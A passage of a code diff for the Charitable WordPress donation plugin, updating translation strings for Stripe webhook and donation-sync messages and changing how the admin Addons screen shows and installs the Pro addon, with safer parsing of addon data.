log cleared successfully." msgid_plural "%d error logs cleared successfully." msgstr[0] "" msgstr[1] "" -#: includes/admin/tools/class-charitable-tools-system-info.php:1326 +#: includes/admin/tools/class-charitable-tools-system-info.php:1327 #, php-format msgid "Error clearing logs: %s" msgstr "" -#: includes/admin/tools/class-charitable-tools-system-info.php:1392 +#: includes/admin/tools/class-charitable-tools-system-info.php:1393 msgid "Error logs exported successfully." msgstr "" -#: includes/admin/tools/class-charitable-tools-system-info.php:1402 +#: includes/admin/tools/class-charitable-tools-system-info.php:1403 #, php-format msgid "Error exporting logs: %s" msgstr "" @@ -15381,10 +15456,6 @@ msgid "You have already started the setup wizard. Would you like to continue where you left off?" msgstr "" -#: includes/admin/views/welcome-page/page.php:44 -msgid "Resume Setup Wizard" -msgstr "" - #: includes/admin/views/welcome-page/page.php:50 msgid "Welcome back!" msgstr "" @@ -15397,7 +15468,7 @@ msgid "Go Back" msgstr "" -#: includes/admin/views/welcome-page/page.php:70 +#: includes/admin/views/welcome-page/page.php:69 msgid "Note: You will be transfered to an WPCharitable.com to complete the setup wizard." msgstr "" @@ -16334,8 +16405,6 @@ msgstr "" #: includes/elementor/widgets/class-charitable-elementor-button-widget.php:75 -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:121 msgid "Label" msgstr "" @@ -16344,8 +16413,6 @@ msgstr "" #: includes/elementor/widgets/class-charitable-elementor-button-widget.php:123 -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:142 msgid "Button Type" msgstr "" @@ -16415,12 +16482,10 @@ msgstr "" #: includes/elementor/widgets/class-charitable-elementor-campaigns-widget.php:190 -#: assets/js/blocks/campaigns/build/index.js:208 msgid "Include Inactive Campaigns" msgstr "" #: includes/elementor/widgets/class-charitable-elementor-campaigns-widget.php:203 -#: assets/js/blocks/campaigns/build/index.js:170 #: _legacy_src/blocks/campaigns/block.js:146 msgid "Columns" msgstr "" @@ -18889,71 +18954,148 @@ msgid " requires Charitable! Please %s to continue!" msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:124 +#: includes/stripe/admin/class-charitable-stripe-admin.php:134 msgid "Activate Stripe Gateway" msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:140 +#: includes/stripe/admin/class-charitable-stripe-admin.php:150 msgid "Stripe Data" msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:544 -#: includes/stripe/admin/class-charitable-stripe-admin.php:558 +#: includes/stripe/admin/class-charitable-stripe-admin.php:594 +#: includes/stripe/admin/class-charitable-stripe-admin.php:608 msgid "Webhook Security" msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:547 +#: includes/stripe/admin/class-charitable-stripe-admin.php:597 msgid "Webhook signature verification is not configured." msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:548 +#: includes/stripe/admin/class-charitable-stripe-admin.php:598 msgid "Your Stripe webhooks are currently verified using a fallback method. For stronger security, click the button below to enable cryptographic signature verification." msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:550 +#: includes/stripe/admin/class-charitable-stripe-admin.php:600 msgid "Enable Webhook Signature Verification" msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:561 +#: includes/stripe/admin/class-charitable-stripe-admin.php:611 msgid "Webhook signature verification is active. Incoming Stripe webhooks are cryptographically verified." msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:563 +#: includes/stripe/admin/class-charitable-stripe-admin.php:613 msgid "Refresh Signing Secret" msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:605 +#: includes/stripe/admin/class-charitable-stripe-admin.php:655 msgid "Request failed. Please try again." msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:634 -msgid "Charitable: Stripe Webhook Security Alert" +#: includes/stripe/admin/class-charitable-stripe-admin.php:684 +msgid "Charitable: Stripe Webhook Notice" msgstr "" -#. translators: %1$d: number of failures, %2$s: opening link tag, %3$s: closing link tag. -#: includes/stripe/admin/class-charitable-stripe-admin.php:640 +#. translators: %1$d: number of failures, %2$s: opening Stripe settings link tag, %3$s: closing link tag, %4$s: opening documentation link tag, %5$s: closing link tag. +#: includes/stripe/admin/class-charitable-stripe-admin.php:690 #, php-format -msgid "%1$d failed webhook signature verification attempts detected in the last 24 hours. This may indicate someone is attempting to send forged webhook events. Please check your %2$sStripe settings%3$s." +msgid "%1$d webhook events failed signature verification in the last 24 hours. This often happens after reconnecting Stripe or refreshing your account. If the issue persists, verify your signing secret in your %2$sStripe settings%3$s. %4$sLearn more%5$s." msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:657 +#: includes/stripe/admin/class-charitable-stripe-admin.php:730 msgid "Charitable: Stripe Webhook Security Setup" msgstr "" #. translators: %1$s: opening link tag, %2$s: closing link tag. -#: includes/stripe/admin/class-charitable-stripe-admin.php:663 +#: includes/stripe/admin/class-charitable-stripe-admin.php:736 #, php-format msgid "Charitable was unable to automatically configure webhook signature verification for Stripe. Please visit your %1$sStripe settings%2$s and click \"Enable Webhook Signature Verification\" to secure your webhook endpoint." msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:700 +#: includes/stripe/admin/class-charitable-stripe-admin.php:778 msgid "Webhook signature verification has been enabled successfully. The page will reload." msgstr "" -#: includes/stripe/admin/class-charitable-stripe-admin.php:707 +#: includes/stripe/admin/class-charitable-stripe-admin.php:785 msgid "Unable to configure webhook signature verification. Please ensure your Stripe API keys are valid and try again, or disconnect and reconnect your Stripe account." msgstr "" +#: includes/stripe/admin/class-charitable-stripe-admin.php:817 +#: includes/stripe/admin/class-charitable-stripe-admin.php:826 +msgid "Sync Pending Donations" +msgstr "" + +#: includes/stripe/admin/class-charitable-stripe-admin.php:820 +msgid "Use this tool if donations are stuck in Pending due to a webhook issue. It checks Stripe for the last 30 days and marks any confirmed payments as completed." +msgstr "" + +#: includes/stripe/admin/class-charitable-stripe-admin.php:822 +msgid "Dry Run (preview only, no changes made)" +msgstr "" + +#: includes/stripe/admin/class-charitable-stripe-admin.php:824 +msgid "Send receipt emails for completed donations" +msgstr "" + +#: includes/stripe/admin/class-charitable-stripe-admin.php:962 +msgid "Unable to connect to Stripe. Please check that your API keys are configured correctly." +msgstr "" + +#. translators: %d: number of days +#: includes/stripe/admin/class-charitable-stripe-admin.php:1041 +#, php-format +msgid "No pending Stripe donations found in the last %d days." +msgstr "" + +#. translators: 1: checked count, 2: total count +#: includes/stripe/admin/class-charitable-stripe-admin.php:1134 +#, php-format +msgid "Dry Run: Checking donations... (%1$d of %2$d checked)" +msgstr "" + +#: includes/stripe/admin/class-charitable-stripe-admin.php:1139 +msgid "Dry Run: No pending donations were found with a confirmed payment in Stripe. No changes were made." +msgstr "" + +#. translators: 1: count, 2: formatted total, 3: earliest date, 4: latest date +#: includes/stripe/admin/class-charitable-stripe-admin.php:1143 +#, php-format +msgid "Dry Run: Found %1$d donation(s) that would be updated, totaling %2$s. Date range: %3$s – %4$s. No changes were made. Uncheck \"Dry Run\" and click again to process." +msgstr "" + +#: includes/stripe/admin/class-charitable-stripe-admin.php:1186 +msgid "Stripe Sync: No PaymentIntent ID found — skipped." +msgstr "" + +#. translators: %s: Stripe PaymentIntent ID. +#: includes/stripe/admin/class-charitable-stripe-admin.php:1228 +#, php-format +msgid "Stripe Sync: PaymentIntent %s confirmed (succeeded). Status updated to Paid." +msgstr "" + +#. translators: 1: Stripe PaymentIntent ID, 2: Stripe status string. +#: includes/stripe/admin/class-charitable-stripe-admin.php:1242 +#, php-format +msgid "Stripe Sync: PaymentIntent %1$s status '%2$s' — payment not confirmed. Status remains Pending." +msgstr "" + +#. translators: 1: Stripe PaymentIntent ID, 2: error message. +#: includes/stripe/admin/class-charitable-stripe-admin.php:1259 +#, php-format +msgid "Stripe Sync: Error retrieving PaymentIntent %1$s — %2$s" +msgstr "" + +#. translators: 1: processed count, 2: total count +#: includes/stripe/admin/class-charitable-stripe-admin.php:1287 +#, php-format +msgid "Syncing... %1$d of %2$d donations processed." +msgstr "" + +#. translators: 1: updated count, 2: skipped count, 3: error count +#: includes/stripe/admin/class-charitable-stripe-admin.php:1297 +#, php-format +msgid "%1$d donation(s) marked completed. %2$d still pending in Stripe. %3$d error(s)." +msgstr "" + #. translators: %s: number of periods. #: includes/stripe/compat/charitable-stripe-recurring-compat-functions.php:34 #, php-format @@ -19076,7 +19218,7 @@ msgstr "" #. translators: %s is the error message. -#: includes/stripe/gateway/class-charitable-stripe-webhook-api.php:214 +#: includes/stripe/gateway/class-charitable-stripe-webhook-api.php:217 #, php-format msgid "Error creating Stripe webhook: %s" msgstr "" @@ -19554,19 +19696,19 @@ msgid "You must be logged in to access your donation receipt." msgstr "" -#: templates/donation-receipt/summary.php:25 +#: templates/donation-receipt/summary.php:26 msgid "Donation Number:" msgstr "" -#: templates/donation-receipt/summary.php:27 +#: templates/donation-receipt/summary.php:28 msgid "Date:" msgstr "" -#: templates/donation-receipt/summary.php:29 +#: templates/donation-receipt/summary.php:30 msgid "Total:" msgstr "" -#: templates/donation-receipt/summary.php:46 +#: templates/donation-receipt/summary.php:47 msgid "Payment Method:" msgstr "" @@ -19666,177 +19808,6 @@ msgid "Select %s" msgstr "" -#: assets/js/blocks/campaign-progress-bar/build/index.js:93 -msgid "This is the campaign the progress bar is associated with." -msgstr "" - -#: assets/js/blocks/campaign-progress-bar/build/index.js:111 -msgid "Campaign Progress Bar" -msgstr "" - -#: assets/js/blocks/campaign-progress-bar/build/index.js:111 -#: assets/js/blocks/campaign-stats/build/index.js:156 -#: assets/js/blocks/campaigns/build/index.js:282 -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:166 -#: assets/js/blocks/donations/build/index.js:123 -#: assets/js/blocks/donors/build/index.js:238 -#: assets/js/blocks/my-donations/build/index.js:113 -#: assets/js/blocks/donors/build/index.js:255 -#: assets/js/blocks/my-donations/build/index.js:97 -msgid "Preview Not Available In Editor" -msgstr "" - -#: assets/js/blocks/campaign-stats/build/index.js:111 -msgid "Display" -msgstr "" - -#: assets/js/blocks/campaign-stats/build/index.js:112 -msgid "The type of data to display." -msgstr "" - -#: assets/js/blocks/campaign-stats/build/index.js:131 -msgid "Campaign IDs" -msgstr "" - -#: assets/js/blocks/campaign-stats/build/index.js:132 -msgid "A comma-separated list of campaign IDs. If not provided, all campaigns will be included." -msgstr "" - -#: assets/js/blocks/campaign-stats/build/index.js:139 -msgid "Required if display is set to \"Progress\". The goal that your progress is measured in relation to, without any currency symbols." -msgstr "" - -#: assets/js/blocks/campaign-stats/build/index.js:156 -msgid "Campaign Stats Block" -msgstr "" - -#: assets/js/blocks/campaigns/build/index.js:163 -msgid "Number" -msgstr "" - -#: assets/js/blocks/campaigns/build/index.js:229 -msgid "Campaign Description Word Limit" -msgstr "" - -#: assets/js/blocks/campaigns/build/index.js:235 -msgid "Creator IDs" -msgstr "" - -#: assets/js/blocks/campaigns/build/index.js:243 -msgid "Exclude Campaign IDs" -msgstr "" - -#: assets/js/blocks/campaigns/build/index.js:251 -msgid "Show Campaign IDs" -msgstr "" - -#: assets/js/blocks/campaigns/build/index.js:260 -msgid "Responsive" -msgstr "" - -#: assets/js/blocks/campaigns/build/index.js:266 -msgid "Masonry" -msgstr "" - -#: assets/js/blocks/campaigns/build/index.js:282 -msgid "Campaigns Block" -msgstr "" - -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:114 -msgid "REQUIRED. This is the campaign the donation button is associated with." -msgstr "" - -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:122 -msgid "Text visible on the button/link." -msgstr "" - -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:130 -msgid "Open the donation page in a new tab when clicked." -msgstr "" - -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:135 -msgid "Custom CSS" -msgstr "" - -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:136 -msgid "Add custom CSS to style the button/link." -msgstr "" - -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:166 -msgid "Donation Button/Link Block" -msgstr "" - -#: assets/js/blocks/donations/build/index.js:98 -msgid "The widget title to be displayed at the top of the widget." -msgstr "" - -#: assets/js/blocks/donations/build/index.js:105 -#: assets/js/blocks/donors/build/index.js:170 -#: assets/js/blocks/donors/build/index.js:140 -msgid "Show a particular campaign’s form, or choose no campaign to show a donation form for the current campaign on individual campaign pages (the widget will be hidden on all other pages)." -msgstr "" - -#: assets/js/blocks/donations/build/index.js:123 -msgid "Donations Block" -msgstr "" - -#: assets/js/blocks/donors/build/index.js:178 -#: assets/js/blocks/donors/build/index.js:152 -msgid "Only Show Unique Donors" -msgstr "" - -#: assets/js/blocks/donors/build/index.js:179 -#: assets/js/blocks/donors/build/index.js:156 -msgid "If a donor has donated more than once, they will only appear in the list once, with their donation amount calculated based on all their donations." -msgstr "" - -#: assets/js/blocks/donors/build/index.js:198 -#: assets/js/blocks/donors/build/index.js:182 -msgid "Show Name" -msgstr "" - -#: assets/js/blocks/donors/build/index.js:204 -#: assets/js/blocks/donors/build/index.js:194 -msgid "Show Location" -msgstr "" - -#: assets/js/blocks/donors/build/index.js:210 -#: assets/js/blocks/donors/build/index.js:206 -msgid "Show Amount" -msgstr "" - -#: assets/js/blocks/donors/build/index.js:216 -#: assets/js/blocks/donors/build/index.js:218 -msgid "Show Avatar" -msgstr "" - -#: assets/js/blocks/donors/build/index.js:238 -#: assets/js/blocks/donors/build/index.js:254 -msgid "Donors Block" -msgstr "" - -#: assets/js/blocks/my-donations/build/index.js:95 -#: assets/js/blocks/my-donations/build/index.js:72 -msgid "Include Recurring Donations" -msgstr "" - -#: assets/js/blocks/my-donations/build/index.js:100 -#: assets/js/blocks/my-donations/build/index.js:77 -msgid "If you have the Recurring Donations addon enabled, enable this to include recurring donations in the display." -msgstr "" - -#: assets/js/blocks/my-donations/build/index.js:113 -#: assets/js/blocks/my-donations/build/index.js:96 -msgid "My Donations" -msgstr "" - #: _legacy_src/blocks/campaign-block-container/inspector.js:27 #: _legacy_src/blocks/campaign-progress-bar/inspector.js:33 #: _legacy_src/blocks/campaign-stats/inspector.js:39 @@ -20029,110 +20000,3 @@ #: _legacy_src/components/category-select/index.js:167 msgid "No categories found" msgstr "" - -#: assets/js/blocks/campaign-progress-bar/build/block.json -msgctxt "block title" -msgid "Campaign Progress Bar" -msgstr "" - -#: assets/js/blocks/campaign-progress-bar/build/block.json -msgctxt "block description" -msgid "Display a live progress bar for a particular campaign." -msgstr "" - -#: assets/js/blocks/campaign-progress-bar/build/block.json -#: assets/js/blocks/campaign-stats/build/block.json -#: assets/js/blocks/campaigns/build/block.json -#: assets/js/blocks/donation-button/build/block.json -#: assets/js/blocks/donations/build/block.json -#: assets/js/blocks/donors/build/block.json -#: assets/js/blocks/my-donations/build/block.json -msgctxt "block keyword" -msgid "charitable" -msgstr "" - -#: assets/js/blocks/campaign-progress-bar/build/block.json -#: assets/js/blocks/campaign-stats/build/block.json -#: assets/js/blocks/campaigns/build/block.json -#: assets/js/blocks/donation-button/build/block.json -#: assets/js/blocks/donations/build/block.json -#: assets/js/blocks/donors/build/block.json -msgctxt "block keyword" -msgid "campaign" -msgstr "" - -#: assets/js/blocks/campaign-progress-bar/build/block.json -#: assets/js/blocks/campaign-stats/build/block.json -#: assets/js/blocks/campaigns/build/block.json -#: assets/js/blocks/donation-button/build/block.json -#: assets/js/blocks/donations/build/block.json -#: assets/js/blocks/donors/build/block.json -#: assets/js/blocks/my-donations/build/block.json -msgctxt "block keyword" -msgid "donation" -msgstr "" - -#: assets/js/blocks/campaign-stats/build/block.json -msgctxt "block title" -msgid "Campaign Stats" -msgstr "" - -#: assets/js/blocks/campaign-stats/build/block.json -msgctxt "block description" -msgid "Allows various statistics to be dynamically calculated and displayed on a page." -msgstr "" - -#: assets/js/blocks/campaigns/build/block.json -msgctxt "block title" -msgid "Campaigns" -msgstr "" - -#: assets/js/blocks/campaigns/build/block.json -msgctxt "block description" -msgid "Display multiple Charitable campaigns in a grid." -msgstr "" - -#: assets/js/blocks/donation-button/build/block.json -msgctxt "block title" -msgid "Donation Button/Link" -msgstr "" - -#: assets/js/blocks/donation-button/build/block.json -msgctxt "block description" -msgid "Display a donation button for a particular campaign." -msgstr "" - -#: assets/js/blocks/donations/build/block.json -msgctxt "block title" -msgid "Donations" -msgstr "" - -#: assets/js/blocks/donations/build/block.json -msgctxt "block description" -msgid "Display a simple donation widget for a campaign." -msgstr "" - -#: assets/js/blocks/donors/build/block.json -msgctxt "block title" -msgid "Donors Block" -msgstr "" - -#: assets/js/blocks/donors/build/block.json -msgctxt "block description" -msgid "Display a list of donors to one or all of your campaigns." -msgstr "" - -#: assets/js/blocks/my-donations/build/block.json -msgctxt "block title" -msgid "My Donations" -msgstr "" - -#: assets/js/blocks/my-donations/build/block.json -msgctxt "block description" -msgid "Displays a list of donations for the current logged in user." -msgstr "" - -#: assets/js/blocks/my-donations/build/block.json -msgctxt "block keyword" -msgid "account" -msgstr "" @@ -632,7 +632,7 @@ 'Charitable_Public_Form_View::get_template_name()' ); - return $form->view()->get_template_name( $field ); + return $this->view()->get_template_name( $field ); } /** @@ -479,27 +479,114 @@ // phpcs:enable /* - * Remove addons that are not needed for pro. + * Pro addon card visibility in the Charitable → Addons screen. + * + * Default: both `charitable-pro-plugin` and `charitable-pro` slugs are hidden + * so the normal upgrade path (wpcharitable.com checkout → Plugins → Add New + * upload) is the only way to install Pro. + * + * With CHARITABLE_SHOW_PRO_IN_ADDONS defined truthy (wp-config.php or a + * code-snippet plugin), the Pro card is exposed so Pro can be installed + * server-to-server from this screen — unblocking managed-host customers + * (WP.com, Kinsta, WP Engine, SiteGround) whose manual-upload path rejects + * the Pro zip with `http_error`. + * + * The wpcharitable.com addons API currently returns Pro under the legacy slug + * `charitable-pro-plugin`, while on disk Pro lives at `charitable-pro/ + * charitable-pro.php`. If we rendered the raw entry, install-state detection, + * basename lookup, and activation would all use the wrong path and the flow + * would fail at activation. So when we expose Pro we NORMALISE the entry in + * place: rewrite its slug to `charitable-pro` and its path to match the + * on-disk location. + * + * Wrapped in try/catch so that any unexpected payload shape cannot fatal the + * admin Addons screen. On failure we fall back to the safe pre-1.8.10.5 + * behaviour of hiding both Pro slugs. * * @since 1.8.5 */ - $addons_to_remove = array( - 'charitable-pro-plugin', - 'charitable-pro', - ); + try { + $show_pro = defined( 'CHARITABLE_SHOW_PRO_IN_ADDONS' ) && CHARITABLE_SHOW_PRO_IN_ADDONS; + + foreach ( $addon_categories as $slug => &$category ) { + if ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) { + continue; + } + foreach ( $category['addons'] as $k => &$v ) { + if ( ! is_array( $v ) || ! isset( $v['slug'] ) ) { + continue; + } + + $is_pro_legacy = 'charitable-pro-plugin' === $v['slug']; + $is_pro_canonical = 'charitable-pro' === $v['slug']; + + if ( ! $is_pro_legacy && ! $is_pro_canonical ) { + continue; + } + + if ( ! $show_pro ) { + unset( $category['addons'][ $k ] ); + continue; + } + + // Normalise the legacy slug onto the canonical on-disk layout so + // install, activation, and "is installed" detection all line up. + if ( $is_pro_legacy ) { + $v['slug'] = 'charitable-pro'; + $v['path'] = 'charitable-pro/charitable-pro.php'; + } + } + // Reindex array after any removal. + $category['addons'] = array_values( $category['addons'] ); + } + unset( $category ); // Break the reference. + unset( $v ); // Break the reference. - // Recursively remove specified addons. - foreach ( $addon_categories as $slug => &$category ) { - foreach ( $category['addons'] as $k => &$v ) { - if ( is_array( $v ) && isset( $v['slug'] ) && in_array( $v['slug'], $addons_to_remove ) ) { - unset( $category['addons'][ $k ] ); + // Defensive dedup: if both the legacy and canonical slugs were present + // server-side, the rename above could produce two `charitable-pro` + // entries. Keep only the first across all categories. + if ( $show_pro ) { + $seen_pro = false; + foreach ( $addon_categories as $slug => &$category ) { + if ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) { + continue; + } + foreach ( $category['addons'] as $k => &$v ) { + if ( is_array( $v ) && isset( $v['slug'] ) && 'charitable-pro' === $v['slug'] ) { + if ( $seen_pro ) { + unset( $category['addons'][ $k ] ); + } else { + $seen_pro = true; + } + } + } + $category['addons'] = array_values( $category['addons'] ); } + unset( $category ); + unset( $v ); + } + } catch ( \Throwable $e ) { + // Fall back to the pre-1.8.10.5 behaviour: always hide both Pro slugs. + $addons_to_remove = array( 'charitable-pro-plugin', 'charitable-pro' ); + if ( is_array( $addon_categories ) ) { + foreach ( $addon_categories as $slug => &$category ) { + if ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) { + continue; + } + foreach ( $category['addons'] as $k => &$v ) { + if ( is_array( $v ) && isset( $v['slug'] ) && in_array( $v['slug'], $addons_to_remove, true ) ) { + unset( $category['addons'][ $k ] ); + } + } + $category['addons'] = array_values( $category['addons'] ); + } + unset( $category ); + unset( $v ); + } + if ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) { + error_log( 'CHARITABLE: Pro addon card gating failed: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log } - // Reindex array after removal. - $category['addons'] = array_values( $category['addons'] ); } - unset( $category ); // Break the reference. - unset( $v ); // Break the reference. ?> <div id="charitable-addons"> @@ -723,6 +810,35 @@ $addon['action'] = 'install'; } } + + /* + * Charitable Pro is available to every legitimate license tier (Basic, + * Plus, Pro, Agency). The tier-match loop above would otherwise show + * "Upgrade Now" to Basic/Plus customers because Pro's API license field + * typically only lists `pro`. Override to "install" when the current + * site has any valid license AND the API actually returned a usable + * download_link — without a download_link the install step would fail, + * so we fall back to the upgrade CTA in that case. + * + * Wrapped in try/catch so that a failure in the licence helper chain + * (registry / vendor licence lookup) cannot fatal an admin page render. + * On failure the card simply keeps whatever action the tier-match loop + * above assigned — i.e. the original pre-1.8.10.5 behaviour. + */ + try { + if ( 'charitable-pro' === $addon['slug'] + && 'install' !== $addon['action'] + && function_exists( 'charitable_is_pro' ) + && charitable_is_pro() + && ! empty( $addon['download_link'] ) ) { + $addon['status'] = 'missing'; + $addon['action'] = 'install'; + } + } catch ( \Throwable $e ) { + if ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) { + error_log( 'CHARITABLE: Pro install-action override failed: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log + } + } } else { // phpcs:ignore // Plugin is installed. if ( $addon['is_active'] ) { @@ -763,22 +879,55 @@ $status_label = $this->get_addon_status_label( $addon['status'] ); - // get the icon/graphic. - $icon = isset( $addon['icon'] ) ? esc_url( $addon['icon'] ) : 'placeholder'; - - $icon_file_name = str_replace( 'charitable-', '', $addon['slug'] ); - $icon_file_name = str_replace( '-banner', '', $icon_file_name ); - - // Locate icon, if it exists. - if ( ! file_exists( charitable()->get_path( 'assets', true ) . 'images/addons/addon-icon-' . $icon_file_name . '.png' ) ) { - $icon = charitable()->get_path( 'assets', false ) . 'images/addons/addon-icon-stripe.png'; + // Resolve the icon. Lookup order: + // 1. Local SVG (assets/images/addons/addon-icon-{slug}.svg) + // 2. Local PNG (assets/images/addons/addon-icon-{slug}.png) + // 3. API-supplied icon URL (so newly added addons show the right art + // even before a local asset ships in a Lite release) + // 4. Stripe placeholder (last resort so the card never renders broken) + $icon_file_name = str_replace( array( 'charitable-', '-banner' ), '', $addon['slug'] ); + $assets_path_fs = charitable()->get_path( 'assets', true ) . 'images/addons/'; + $assets_path_url = charitable()->get_path( 'assets', false ) . 'images/addons/'; + $placeholder_icon = $assets_path_url . 'addon-icon-stripe.png'; + + if ( file_exists( $assets_path_fs . 'addon-icon-' . $icon_file_name . '.svg' ) ) { + $icon = $assets_path_url . 'addon-icon-' . $icon_file_name . '.svg'; + } elseif ( file_exists( $assets_path_fs . 'addon-icon-' . $icon_file_name . '.png' ) ) { + $icon = $assets_path_url . 'addon-icon-' . $icon_file_name . '.png'; + } elseif ( ! empty( $addon['icon'] ) && filter_var( $addon['icon'], FILTER_VALIDATE_URL ) ) { + $icon = esc_url( $addon['icon'] ); } else { - $icon = charitable()->get_path( 'assets', false ) . 'images/addons/addon-icon-' . $icon_file_name . '.png'; + $icon = $placeholder_icon; } // get the plugin description. - $sections = unserialize( $addon['sections'] ); // phpcs:ignore - $description = wp_strip_all_tags( ( $sections['description'] ) ); + // Guard against a missing / malformed `sections` entry from the API so a + // single bad addon row can't blow up the whole directory render. Belt + + // suspenders: the conditions below handle normal failure modes, and the + // try/catch handles anything pathological. + $sections = array(); + $description = ''; + try { + if ( isset( $addon['sections'] ) && is_string( $addon['sections'] ) && '' !== $addon['sections'] ) { + $maybe_sections = @unserialize( $addon['sections'], array( 'allowed_classes' => false ) ); // phpcs:ignore + if ( is_array( $maybe_sections ) ) { + $sections = $maybe_sections; + } + } + $description = wp_strip_all_tags( isset( $sections['description'] ) ? (string) $sections['description'] : '' ); + } catch ( \Throwable $e ) { + $description = ''; + if ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) { + error_log( 'CHARITABLE: Addon description parse failed: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log + } + } + + // The wpcharitable.com addons API currently returns an empty description for + // the Charitable Pro entry. Provide a hard-coded fallback so the card always + // has a meaningful description on this screen. + if ( 'charitable-pro' === $addon['slug'] && '' === trim( $description ) ) { + $description = __( 'Charitable Pro is the upgraded version of your current Charitable plugin, with built-in features and compatibility for more advanced addons. Installing Pro will replace this Lite version while keeping all your existing settings and data.', 'charitable' ); + } $is_recommended = ( isset( $addon['featured'] ) && is_array( $addon['featured'] ) && in_array( 'recommended', $addon['featured'] ) ) ? true : false; // phpcs:ignore // css. @@ -789,8 +938,13 @@ } // Output the card. - - $addon_name = str_replace( 'Charitable ', '', $addon['name'] ); + // Most addon cards strip the redundant "Charitable " prefix so the title + // reads cleanly (e.g. "Fee Relief" instead of "Charitable Fee Relief"). + // The Pro card is the exception — without the brand name it just reads as + // "Pro", which is meaningless. Keep the full name only for that slug. + $addon_name = ( 'charitable-pro' === $addon['slug'] ) + ? $addon['name'] + : str_replace( 'Charitable ', '', $addon['name'] ); $landing_page_url = ! empty( $addon['homepage'] ) ? $addon['homepage'] : false; $landing_page_url = false === $landing_page_url ? $addon['upgrade_url'] : $landing_page_url; ?> @@ -798,7 +952,7 @@ <div class="charitable-addons-list-item <?php echo esc_attr( implode( ' ', $css ) ); ?>"> <div class="charitable-addons-list-item-header"> - <img src="<?php echo esc_url( $icon ); ?>" alt="<?php echo esc_html( $addon['name'] ); ?> logo"> + <img src="<?php echo esc_url( $icon ); ?>" alt="<?php echo esc_html( $addon['name'] ); ?> logo" onerror="this.onerror=null;this.src='<?php echo esc_url( $placeholder_icon ); ?>';"> <div class="charitable-addons-list-item-header-meta"> <div class="charitable-addons-list-item-header-meta-title"> @@ -819,7 +973,17 @@ <div class="charitable-addons-list-item-footer charitable-addons-list-item-footer-installed" data-plugin="<?php echo esc_attr( $addon['path'] ); ?>" data-type="addon"> <div> <?php if ( ! empty( $addon['license'] ) ) : ?> - <span class="charitable-badge charitable-badge-lg charitable-badge-inline charitable-badge-titanium charitable-badge-rounded"><?php echo esc_html( end( $addon['license'] ) ); ?></span> + <?php + // The license badge defaults to the highest tier the addon is + // available in. Charitable Pro is available to every legitimate + // license tier, so showing the "Pro" tier label is misleading — + // surface "All Plans" instead so customers on Basic/Plus realise + // they can install it too. + $license_badge_text = ( 'charitable-pro' === $addon['slug'] ) + ? __( 'All Plans', 'charitable' ) + : end( $addon['license'] ); + ?> + <span class="charitable-badge charitable-badge-lg charitable-badge-inline charitable-badge-titanium charitable-badge-rounded"><?php echo esc_html( $license_badge_text ); ?></span> <?php endif; ?> </div> @@ -7,7 +7,7 @@ * @copyright Copyright (c) 2023, WP Charitable LLC * @license http://opensource.org/licenses/gpl-2.0.php GNU Public License * @since 1.8.0 - * @version 1.8.9.1 + * @version 1.8.10.5 */ // Exit if accessed directly. @@ -227,6 +227,11 @@ $this->view = isset( $_GET['view'] ) ? esc_attr( $_GET['view'] ) : false; // phpcs:ignore $this->campaign_id = isset( $_GET['campaign_id'] ) ? intval( $_GET['campaign_id'] ) : false; // phpcs:ignore + // Lite has no Form panel content; fall back if ?view=form is requested directly. + if ( 'form' === $this->view ) { + $this->view = false; + } + // if no view was past, determine if the new campaign cofmr has been used (check settings) and if not redirect to template screen. if ( $this->campaign_id && ! $this->view ) { $campaign_data = get_post_meta( $this->campaign_id, 'campaign_settings_v2' ); @@ -952,6 +957,17 @@ ) ), 'charitable_addons_page' => esc_url( admin_url( 'admin.php?page=charitable-addons' ) ), + 'form_upgrade_modal' => array( + 'title' => esc_html__( 'Unlock the Visual Form Builder', 'charitable' ), + 'message' => '<p>' . esc_html__( "The Charitable Pro plugin's visual form builder lets you drag and drop fields, build multi-step donation flows, and customize every part of your donation form - all without writing code.", 'charitable' ) . '</p><p>' . esc_html__( 'Upgrade to any paid Charitable plan to unlock the Charitable Pro plugin and design your forms exactly the way you want.', 'charitable' ) . '</p>', + 'button' => esc_html__( 'Get Charitable Pro', 'charitable' ), + 'doc' => sprintf( + '<div class="already-purchased-div"><a href="%1$s" target="_blank" rel="noopener noreferrer" class="already-purchased">%2$s</a></div>', + esc_url( 'https://www.wpcharitable.com/documentation/how-to-use-donation-form-visual-builder/' ), + esc_html__( 'Learn More', 'charitable' ) + 